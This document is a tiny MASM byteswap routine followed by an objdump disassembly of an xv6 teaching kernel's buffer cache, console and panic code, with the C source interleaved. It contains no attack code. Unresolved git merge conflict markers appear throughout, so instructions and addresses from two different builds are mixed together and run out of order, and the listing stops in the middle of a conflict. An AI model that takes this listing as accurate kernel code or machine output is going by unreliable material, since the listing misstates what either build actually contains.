;include base64_fast.inc
.list
;.stack 100h
.data
; user data
;.data ?
.const
page
.code
; user code
assume ds : FLAT
assume es : FLAT
assume ss : FLAT
align 16
public __byteswap32_
__byteswap32_ proc val:dword
;OPTION PROLOGUE:NONE, EPILOGUE:NONE
mov eax, val
bswap eax
ret
__byteswap32_ endp
end
|
kernel.asm | reubenct/OSproject-xv6 | 1 | 4924 |
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 0f in $0xf,%al
8010000c <entry>:
8010000c: 0f 20 e0 mov %cr4,%eax
8010000f: 83 c8 10 or $0x10,%eax
80100012: 0f 22 e0 mov %eax,%cr4
80100015: b8 00 90 10 00 mov $0x109000,%eax
8010001a: 0f 22 d8 mov %eax,%cr3
8010001d: 0f 20 c0 mov %cr0,%eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
80100025: 0f 22 c0 mov %eax,%cr0
80100028: bc d0 b5 10 80 mov $0x8010b5d0,%esp
8010002d: b8 50 2e 10 80 mov $0x80102e50,%eax
80100032: ff e0 jmp *%eax
80100034: 66 90 xchg %ax,%ax
80100036: 66 90 xchg %ax,%ax
80100038: 66 90 xchg %ax,%ax
8010003a: 66 90 xchg %ax,%ax
8010003c: 66 90 xchg %ax,%ax
8010003e: 66 90 xchg %ax,%ax
80100040 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100040: 55 push %ebp
80100041: 89 e5 mov %esp,%ebp
80100043: 53 push %ebx
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100044: bb 14 b6 10 80 mov $0x8010b614,%ebx
struct buf head;
} bcache;
void
binit(void)
{
80100049: 83 ec 14 sub $0x14,%esp
struct buf *b;
initlock(&bcache.lock, "bcache");
<<<<<<< HEAD
8010004c: 68 40 73 10 80 push $0x80107340
80100051: 68 e0 b5 10 80 push $0x8010b5e0
80100056: e8 95 44 00 00 call 801044f0 <initlock>
=======
8010004c: c7 44 24 04 c0 70 10 movl $0x801070c0,0x4(%esp)
80100053: 80
80100054: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
8010005b: e8 a0 42 00 00 call 80104300 <initlock>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
<<<<<<< HEAD
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
b->next = bcache.head.next;
80100088: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
8010008b: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100092: 68 47 73 10 80 push $0x80107347
80100097: 50 push %eax
80100098: e8 43 43 00 00 call 801043e0 <initsleeplock>
bcache.head.next->prev = b;
8010009d: a1 30 fd 10 80 mov 0x8010fd30,%eax
=======
80100060: ba dc fc 10 80 mov $0x8010fcdc,%edx
initlock(&bcache.lock, "bcache");
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
80100065: c7 05 2c fd 10 80 dc movl $0x8010fcdc,0x8010fd2c
8010006c: fc 10 80
bcache.head.next = &bcache.head;
8010006f: c7 05 30 fd 10 80 dc movl $0x8010fcdc,0x8010fd30
80100076: fc 10 80
80100079: eb 09 jmp 80100084 <binit+0x44>
8010007b: 90 nop
8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100080: 89 da mov %ebx,%edx
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100082: 89 c3 mov %eax,%ebx
80100084: 8d 43 0c lea 0xc(%ebx),%eax
b->next = bcache.head.next;
80100087: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
8010008a: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100091: 89 04 24 mov %eax,(%esp)
80100094: c7 44 24 04 c7 70 10 movl $0x801070c7,0x4(%esp)
8010009b: 80
8010009c: e8 4f 41 00 00 call 801041f0 <initsleeplock>
bcache.head.next->prev = b;
801000a1: a1 30 fd 10 80 mov 0x8010fd30,%eax
801000a6: 89 58 50 mov %ebx,0x50(%eax)
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax
801000af: 3d dc fc 10 80 cmp $0x8010fcdc,%eax
b->next = bcache.head.next;
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
801000b4: 89 1d 30 fd 10 80 mov %ebx,0x8010fd30
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000ba: 75 c4 jne 80100080 <binit+0x40>
b->prev = &bcache.head;
initsleeplock(&b->lock, "buffer");
bcache.head.next->prev = b;
bcache.head.next = b;
}
}
801000bc: 83 c4 14 add $0x14,%esp
801000bf: 5b pop %ebx
801000c0: 5d pop %ebp
801000c1: c3 ret
801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801000d0 <bread>:
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000d0: 55 push %ebp
801000d1: 89 e5 mov %esp,%ebp
801000d3: 57 push %edi
801000d4: 56 push %esi
801000d5: 53 push %ebx
801000d6: 83 ec 1c sub $0x1c,%esp
801000d9: 8b 75 08 mov 0x8(%ebp),%esi
static struct buf*
bget(uint dev, uint blockno)
{
struct buf *b;
acquire(&bcache.lock);
<<<<<<< HEAD
801000df: 68 e0 b5 10 80 push $0x8010b5e0
801000e4: e8 27 44 00 00 call 80104510 <acquire>
=======
801000dc: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000e3: 8b 7d 0c mov 0xc(%ebp),%edi
static struct buf*
bget(uint dev, uint blockno)
{
struct buf *b;
acquire(&bcache.lock);
801000e6: e8 95 42 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Is the block already cached?
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000eb: 8b 1d 30 fd 10 80 mov 0x8010fd30,%ebx
801000f1: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
801000f7: 75 12 jne 8010010b <bread+0x3b>
801000f9: eb 25 jmp 80100120 <bread+0x50>
801000fb: 90 nop
801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100100: 8b 5b 54 mov 0x54(%ebx),%ebx
80100103: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
80100109: 74 15 je 80100120 <bread+0x50>
if(b->dev == dev && b->blockno == blockno){
8010010b: 3b 73 04 cmp 0x4(%ebx),%esi
8010010e: 75 f0 jne 80100100 <bread+0x30>
80100110: 3b 7b 08 cmp 0x8(%ebx),%edi
80100113: 75 eb jne 80100100 <bread+0x30>
b->refcnt++;
80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx)
80100119: eb 3f jmp 8010015a <bread+0x8a>
8010011b: 90 nop
8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
}
// Not cached; recycle some unused buffer and clean buffer
// "clean" because B_DIRTY and not locked means log.c
// hasn't yet committed the changes to the buffer.
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100120: 8b 1d 2c fd 10 80 mov 0x8010fd2c,%ebx
80100126: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
8010012c: 75 0d jne 8010013b <bread+0x6b>
8010012e: eb 58 jmp 80100188 <bread+0xb8>
80100130: 8b 5b 50 mov 0x50(%ebx),%ebx
80100133: 81 fb dc fc 10 80 cmp $0x8010fcdc,%ebx
80100139: 74 4d je 80100188 <bread+0xb8>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 43 4c mov 0x4c(%ebx),%eax
8010013e: 85 c0 test %eax,%eax
80100140: 75 ee jne 80100130 <bread+0x60>
80100142: f6 03 04 testb $0x4,(%ebx)
80100145: 75 e9 jne 80100130 <bread+0x60>
b->dev = dev;
80100147: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
8010014a: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
<<<<<<< HEAD
8010015a: 83 ec 0c sub $0xc,%esp
8010015d: 68 e0 b5 10 80 push $0x8010b5e0
80100162: e8 89 45 00 00 call 801046f0 <release>
acquiresleep(&b->lock);
80100167: 8d 43 0c lea 0xc(%ebx),%eax
8010016a: 89 04 24 mov %eax,(%esp)
8010016d: e8 ae 42 00 00 call 80104420 <acquiresleep>
80100172: 83 c4 10 add $0x10,%esp
=======
8010015a: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100161: e8 4a 43 00 00 call 801044b0 <release>
acquiresleep(&b->lock);
80100166: 8d 43 0c lea 0xc(%ebx),%eax
80100169: 89 04 24 mov %eax,(%esp)
8010016c: e8 bf 40 00 00 call 80104230 <acquiresleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
bread(uint dev, uint blockno)
{
struct buf *b;
b = bget(dev, blockno);
if(!(b->flags & B_VALID)) {
80100171: f6 03 02 testb $0x2,(%ebx)
80100174: 75 08 jne 8010017e <bread+0xae>
iderw(b);
80100176: 89 1c 24 mov %ebx,(%esp)
80100179: e8 92 1f 00 00 call 80102110 <iderw>
}
return b;
}
8010017e: 83 c4 1c add $0x1c,%esp
80100181: 89 d8 mov %ebx,%eax
80100183: 5b pop %ebx
80100184: 5e pop %esi
80100185: 5f pop %edi
80100186: 5d pop %ebp
80100187: c3 ret
release(&bcache.lock);
acquiresleep(&b->lock);
return b;
}
}
panic("bget: no buffers");
<<<<<<< HEAD
80100190: 83 ec 0c sub $0xc,%esp
80100193: 68 4e 73 10 80 push $0x8010734e
80100198: e8 d3 01 00 00 call 80100370 <panic>
8010019d: 8d 76 00 lea 0x0(%esi),%esi
=======
80100188: c7 04 24 ce 70 10 80 movl $0x801070ce,(%esp)
8010018f: e8 cc 01 00 00 call 80100360 <panic>
80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
801001a0 <bwrite>:
}
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a0: 55 push %ebp
801001a1: 89 e5 mov %esp,%ebp
801001a3: 53 push %ebx
801001a4: 83 ec 14 sub $0x14,%esp
801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001aa: 8d 43 0c lea 0xc(%ebx),%eax
<<<<<<< HEAD
801001ad: 50 push %eax
801001ae: e8 0d 43 00 00 call 801044c0 <holdingsleep>
801001b3: 83 c4 10 add $0x10,%esp
801001b6: 85 c0 test %eax,%eax
801001b8: 74 0f je 801001c9 <bwrite+0x29>
=======
801001ad: 89 04 24 mov %eax,(%esp)
801001b0: e8 1b 41 00 00 call 801042d0 <holdingsleep>
801001b5: 85 c0 test %eax,%eax
801001b7: 74 10 je 801001c9 <bwrite+0x29>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
panic("bwrite");
b->flags |= B_DIRTY;
801001b9: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
801001bc: 89 5d 08 mov %ebx,0x8(%ebp)
}
801001bf: 83 c4 14 add $0x14,%esp
801001c2: 5b pop %ebx
801001c3: 5d pop %ebp
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
b->flags |= B_DIRTY;
iderw(b);
801001c4: e9 47 1f 00 00 jmp 80102110 <iderw>
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("bwrite");
<<<<<<< HEAD
801001c9: 83 ec 0c sub $0xc,%esp
801001cc: 68 5f 73 10 80 push $0x8010735f
801001d1: e8 9a 01 00 00 call 80100370 <panic>
801001d6: 8d 76 00 lea 0x0(%esi),%esi
=======
801001c9: c7 04 24 df 70 10 80 movl $0x801070df,(%esp)
801001d0: e8 8b 01 00 00 call 80100360 <panic>
801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801001e0 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e0: 55 push %ebp
801001e1: 89 e5 mov %esp,%ebp
801001e3: 56 push %esi
801001e4: 53 push %ebx
801001e5: 83 ec 10 sub $0x10,%esp
801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001eb: 8d 73 0c lea 0xc(%ebx),%esi
<<<<<<< HEAD
801001ee: 56 push %esi
801001ef: e8 cc 42 00 00 call 801044c0 <holdingsleep>
801001f4: 83 c4 10 add $0x10,%esp
801001f7: 85 c0 test %eax,%eax
801001f9: 74 66 je 80100261 <brelse+0x81>
panic("brelse");
releasesleep(&b->lock);
801001fb: 83 ec 0c sub $0xc,%esp
801001fe: 56 push %esi
801001ff: e8 7c 42 00 00 call 80104480 <releasesleep>
acquire(&bcache.lock);
80100204: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
8010020b: e8 00 43 00 00 call 80104510 <acquire>
=======
801001ee: 89 34 24 mov %esi,(%esp)
801001f1: e8 da 40 00 00 call 801042d0 <holdingsleep>
801001f6: 85 c0 test %eax,%eax
801001f8: 74 5b je 80100255 <brelse+0x75>
panic("brelse");
releasesleep(&b->lock);
801001fa: 89 34 24 mov %esi,(%esp)
801001fd: e8 8e 40 00 00 call 80104290 <releasesleep>
acquire(&bcache.lock);
80100202: c7 04 24 e0 b5 10 80 movl $0x8010b5e0,(%esp)
80100209: e8 72 41 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
b->refcnt--;
if (b->refcnt == 0) {
8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx)
80100212: 75 2f jne 80100243 <brelse+0x63>
// no one is waiting for it.
b->next->prev = b->prev;
80100214: 8b 43 54 mov 0x54(%ebx),%eax
80100217: 8b 53 50 mov 0x50(%ebx),%edx
8010021a: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
8010021d: 8b 43 50 mov 0x50(%ebx),%eax
80100220: 8b 53 54 mov 0x54(%ebx),%edx
80100223: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
80100226: a1 30 fd 10 80 mov 0x8010fd30,%eax
b->prev = &bcache.head;
8010022b: c7 43 50 dc fc 10 80 movl $0x8010fcdc,0x50(%ebx)
b->refcnt--;
if (b->refcnt == 0) {
// no one is waiting for it.
b->next->prev = b->prev;
b->prev->next = b->next;
b->next = bcache.head.next;
80100232: 89 43 54 mov %eax,0x54(%ebx)
b->prev = &bcache.head;
bcache.head.next->prev = b;
80100235: a1 30 fd 10 80 mov 0x8010fd30,%eax
8010023a: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
8010023d: 89 1d 30 fd 10 80 mov %ebx,0x8010fd30
}
release(&bcache.lock);
80100243: c7 45 08 e0 b5 10 80 movl $0x8010b5e0,0x8(%ebp)
}
8010024a: 83 c4 10 add $0x10,%esp
8010024d: 5b pop %ebx
8010024e: 5e pop %esi
8010024f: 5d pop %ebp
b->prev = &bcache.head;
bcache.head.next->prev = b;
bcache.head.next = b;
}
release(&bcache.lock);
<<<<<<< HEAD
8010025c: e9 8f 44 00 00 jmp 801046f0 <release>
=======
80100250: e9 5b 42 00 00 jmp 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
if(!holdingsleep(&b->lock))
panic("brelse");
<<<<<<< HEAD
80100261: 83 ec 0c sub $0xc,%esp
80100264: 68 66 73 10 80 push $0x80107366
80100269: e8 02 01 00 00 call 80100370 <panic>
8010026e: 66 90 xchg %ax,%ax
=======
80100255: c7 04 24 e6 70 10 80 movl $0x801070e6,(%esp)
8010025c: e8 ff 00 00 00 call 80100360 <panic>
80100261: 66 90 xchg %ax,%ax
80100263: 66 90 xchg %ax,%ax
80100265: 66 90 xchg %ax,%ax
80100267: 66 90 xchg %ax,%ax
80100269: 66 90 xchg %ax,%ax
8010026b: 66 90 xchg %ax,%ax
8010026d: 66 90 xchg %ax,%ax
8010026f: 90 nop
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
80100270 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100270: 55 push %ebp
80100271: 89 e5 mov %esp,%ebp
80100273: 57 push %edi
80100274: 56 push %esi
80100275: 53 push %ebx
80100276: 83 ec 1c sub $0x1c,%esp
80100279: 8b 7d 08 mov 0x8(%ebp),%edi
8010027c: 8b 75 0c mov 0xc(%ebp),%esi
uint target;
int c;
iunlock(ip);
8010027f: 89 3c 24 mov %edi,(%esp)
80100282: e8 f9 14 00 00 call 80101780 <iunlock>
target = n;
acquire(&cons.lock);
<<<<<<< HEAD
80100285: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010028c: e8 7f 42 00 00 call 80104510 <acquire>
=======
80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010028e: e8 ed 40 00 00 call 80104380 <acquire>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
while(n > 0){
80100293: 8b 55 10 mov 0x10(%ebp),%edx
80100296: 85 d2 test %edx,%edx
80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea>
8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx
801002a1: eb 26 jmp 801002c9 <consoleread+0x59>
801002a3: 90 nop
801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(input.r == input.w){
if(proc->killed){
801002a8: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801002ae: 8b 40 24 mov 0x24(%eax),%eax
801002b1: 85 c0 test %eax,%eax
801002b3: 75 73 jne 80100328 <consoleread+0xb8>
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
<<<<<<< HEAD
801002b0: 83 ec 08 sub $0x8,%esp
801002b3: 68 20 a5 10 80 push $0x8010a520
801002b8: 68 c0 ff 10 80 push $0x8010ffc0
801002bd: e8 8e 3c 00 00 call 80103f50 <sleep>
=======
801002b5: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp)
801002bc: 80
801002bd: c7 04 24 c0 ff 10 80 movl $0x8010ffc0,(%esp)
801002c4: e8 77 3a 00 00 call 80103d40 <sleep>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
while(input.r == input.w){
<<<<<<< HEAD
801002c2: a1 c0 ff 10 80 mov 0x8010ffc0,%eax
801002c7: 83 c4 10 add $0x10,%esp
801002ca: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801002d0: 75 36 jne 80100308 <consoleread+0x98>
if(proc->killed){
801002d2: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801002d8: 8b 40 24 mov 0x24(%eax),%eax
801002db: 85 c0 test %eax,%eax
801002dd: 74 d1 je 801002b0 <consoleread+0x40>
release(&cons.lock);
801002df: 83 ec 0c sub $0xc,%esp
801002e2: 68 20 a5 10 80 push $0x8010a520
801002e7: e8 04 44 00 00 call 801046f0 <release>
ilock(ip);
801002ec: 89 3c 24 mov %edi,(%esp)
801002ef: e8 5c 13 00 00 call 80101650 <ilock>
return -1;
801002f4: 83 c4 10 add $0x10,%esp
801002f7: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&cons.lock);
ilock(ip);
return target - n;
}
801002fc: 8d 65 f4 lea -0xc(%ebp),%esp
801002ff: 5b pop %ebx
80100300: 5e pop %esi
80100301: 5f pop %edi
80100302: 5d pop %ebp
80100303: c3 ret
80100304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
=======
801002c9: a1 c0 ff 10 80 mov 0x8010ffc0,%eax
801002ce: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801002d4: 74 d2 je 801002a8 <consoleread+0x38>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
801002d6: 8d 50 01 lea 0x1(%eax),%edx
801002d9: 89 15 c0 ff 10 80 mov %edx,0x8010ffc0
801002df: 89 c2 mov %eax,%edx
801002e1: 83 e2 7f and $0x7f,%edx
801002e4: 0f b6 8a 40 ff 10 80 movzbl -0x7fef00c0(%edx),%ecx
801002eb: 0f be d1 movsbl %cl,%edx
if(c == C('D')){ // EOF
801002ee: 83 fa 04 cmp $0x4,%edx
801002f1: 74 56 je 80100349 <consoleread+0xd9>
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
801002f3: 83 c6 01 add $0x1,%esi
--n;
801002f6: 83 eb 01 sub $0x1,%ebx
if(c == '\n')
801002f9: 83 fa 0a cmp $0xa,%edx
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
801002fc: 88 4e ff mov %cl,-0x1(%esi)
--n;
if(c == '\n')
801002ff: 74 52 je 80100353 <consoleread+0xe3>
int c;
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
80100301: 85 db test %ebx,%ebx
80100303: 75 c4 jne 801002c9 <consoleread+0x59>
80100305: 8b 45 10 mov 0x10(%ebp),%eax
*dst++ = c;
--n;
if(c == '\n')
break;
}
release(&cons.lock);
<<<<<<< HEAD
8010033b: 83 ec 0c sub $0xc,%esp
8010033e: 89 45 e4 mov %eax,-0x1c(%ebp)
80100341: 68 20 a5 10 80 push $0x8010a520
80100346: e8 a5 43 00 00 call 801046f0 <release>
=======
80100308: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010030f: 89 45 e4 mov %eax,-0x1c(%ebp)
80100312: e8 99 41 00 00 call 801044b0 <release>
ilock(ip);
80100317: 89 3c 24 mov %edi,(%esp)
8010031a: e8 91 13 00 00 call 801016b0 <ilock>
8010031f: 8b 45 e4 mov -0x1c(%ebp),%eax
return target - n;
80100322: eb 1d jmp 80100341 <consoleread+0xd1>
80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
target = n;
acquire(&cons.lock);
while(n > 0){
while(input.r == input.w){
if(proc->killed){
release(&cons.lock);
80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010032f: e8 7c 41 00 00 call 801044b0 <release>
ilock(ip);
80100334: 89 3c 24 mov %edi,(%esp)
80100337: e8 74 13 00 00 call 801016b0 <ilock>
return -1;
8010033c: b8 ff ff ff ff mov $0xffffffff,%eax
}
release(&cons.lock);
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
ilock(ip);
return target - n;
}
80100341: 83 c4 1c add $0x1c,%esp
80100344: 5b pop %ebx
80100345: 5e pop %esi
80100346: 5f pop %edi
80100347: 5d pop %ebp
80100348: c3 ret
}
sleep(&input.r, &cons.lock);
}
c = input.buf[input.r++ % INPUT_BUF];
if(c == C('D')){ // EOF
if(n < target){
80100349: 39 5d 10 cmp %ebx,0x10(%ebp)
8010034c: 76 05 jbe 80100353 <consoleread+0xe3>
// Save ^D for next time, to make sure
// caller gets a 0-byte result.
input.r--;
8010034e: a3 c0 ff 10 80 mov %eax,0x8010ffc0
80100353: 8b 45 10 mov 0x10(%ebp),%eax
80100356: 29 d8 sub %ebx,%eax
80100358: eb ae jmp 80100308 <consoleread+0x98>
int c;
iunlock(ip);
target = n;
acquire(&cons.lock);
while(n > 0){
8010035a: 31 c0 xor %eax,%eax
8010035c: eb aa jmp 80100308 <consoleread+0x98>
8010035e: 66 90 xchg %ax,%ax
80100360 <panic>:
release(&cons.lock);
}
void
panic(char *s)
{
80100360: 55 push %ebp
80100361: 89 e5 mov %esp,%ebp
80100363: 56 push %esi
80100364: 53 push %ebx
80100365: 83 ec 40 sub $0x40,%esp
}
static inline void
cli(void)
{
asm volatile("cli");
80100368: fa cli
int i;
uint pcs[10];
cli();
cons.locking = 0;
cprintf("cpu with apicid %d: panic: ", cpu->apicid);
80100369: 65 a1 00 00 00 00 mov %gs:0x0,%eax
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
8010036f: 8d 5d d0 lea -0x30(%ebp),%ebx
{
int i;
uint pcs[10];
cli();
cons.locking = 0;
80100372: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554
80100379: 00 00 00
8010037c: 8d 75 f8 lea -0x8(%ebp),%esi
cprintf("cpu with apicid %d: panic: ", cpu->apicid);
<<<<<<< HEAD
8010038f: 0f b6 00 movzbl (%eax),%eax
80100392: 50 push %eax
80100393: 68 6d 73 10 80 push $0x8010736d
80100398: e8 c3 02 00 00 call 80100660 <cprintf>
=======
8010037f: 0f b6 00 movzbl (%eax),%eax
80100382: c7 04 24 ed 70 10 80 movl $0x801070ed,(%esp)
80100389: 89 44 24 04 mov %eax,0x4(%esp)
8010038d: e8 be 02 00 00 call 80100650 <cprintf>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
cprintf(s);
80100392: 8b 45 08 mov 0x8(%ebp),%eax
80100395: 89 04 24 mov %eax,(%esp)
80100398: e8 b3 02 00 00 call 80100650 <cprintf>
cprintf("\n");
<<<<<<< HEAD
801003a6: c7 04 24 66 78 10 80 movl $0x80107866,(%esp)
801003ad: e8 ae 02 00 00 call 80100660 <cprintf>
getcallerpcs(&s, pcs);
801003b2: 5a pop %edx
801003b3: 8d 45 08 lea 0x8(%ebp),%eax
801003b6: 59 pop %ecx
801003b7: 53 push %ebx
801003b8: 50 push %eax
801003b9: e8 22 42 00 00 call 801045e0 <getcallerpcs>
801003be: 83 c4 10 add $0x10,%esp
801003c1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(i=0; i<10; i++)
cprintf(" %p", pcs[i]);
801003c8: 83 ec 08 sub $0x8,%esp
801003cb: ff 33 pushl (%ebx)
801003cd: 83 c3 04 add $0x4,%ebx
801003d0: 68 89 73 10 80 push $0x80107389
801003d5: e8 86 02 00 00 call 80100660 <cprintf>
=======
8010039d: c7 04 24 e6 75 10 80 movl $0x801075e6,(%esp)
801003a4: e8 a7 02 00 00 call 80100650 <cprintf>
getcallerpcs(&s, pcs);
801003a9: 8d 45 08 lea 0x8(%ebp),%eax
801003ac: 89 5c 24 04 mov %ebx,0x4(%esp)
801003b0: 89 04 24 mov %eax,(%esp)
801003b3: e8 68 3f 00 00 call 80104320 <getcallerpcs>
for(i=0; i<10; i++)
cprintf(" %p", pcs[i]);
801003b8: 8b 03 mov (%ebx),%eax
801003ba: 83 c3 04 add $0x4,%ebx
801003bd: c7 04 24 09 71 10 80 movl $0x80107109,(%esp)
801003c4: 89 44 24 04 mov %eax,0x4(%esp)
801003c8: e8 83 02 00 00 call 80100650 <cprintf>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
cons.locking = 0;
cprintf("cpu with apicid %d: panic: ", cpu->apicid);
cprintf(s);
cprintf("\n");
getcallerpcs(&s, pcs);
for(i=0; i<10; i++)
801003cd: 39 f3 cmp %esi,%ebx
801003cf: 75 e7 jne 801003b8 <panic+0x58>
cprintf(" %p", pcs[i]);
panicked = 1; // freeze other CPU
801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558
801003d8: 00 00 00
801003db: eb fe jmp 801003db <panic+0x7b>
801003dd: 8d 76 00 lea 0x0(%esi),%esi
801003e0 <consputc>:
}
void
consputc(int c)
{
if(panicked){
801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx
801003e6: 85 d2 test %edx,%edx
801003e8: 74 06 je 801003f0 <consputc+0x10>
801003ea: fa cli
801003eb: eb fe jmp 801003eb <consputc+0xb>
801003ed: 8d 76 00 lea 0x0(%esi),%esi
crt[pos] = ' ' | 0x0700;
}
void
consputc(int c)
{
801003f0: 55 push %ebp
801003f1: 89 e5 mov %esp,%ebp
801003f3: 57 push %edi
801003f4: 56 push %esi
801003f5: 53 push %ebx
801003f6: 89 c3 mov %eax,%ebx
801003f8: 83 ec 1c sub $0x1c,%esp
cli();
for(;;)
;
}
if(c == BACKSPACE){
801003fb: 3d 00 01 00 00 cmp $0x100,%eax
80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2>
uartputc('\b'); uartputc(' '); uartputc('\b');
} else
uartputc(c);
<<<<<<< HEAD
80100416: 83 ec 0c sub $0xc,%esp
80100419: 50 push %eax
8010041a: e8 f1 5a 00 00 call 80105f10 <uartputc>
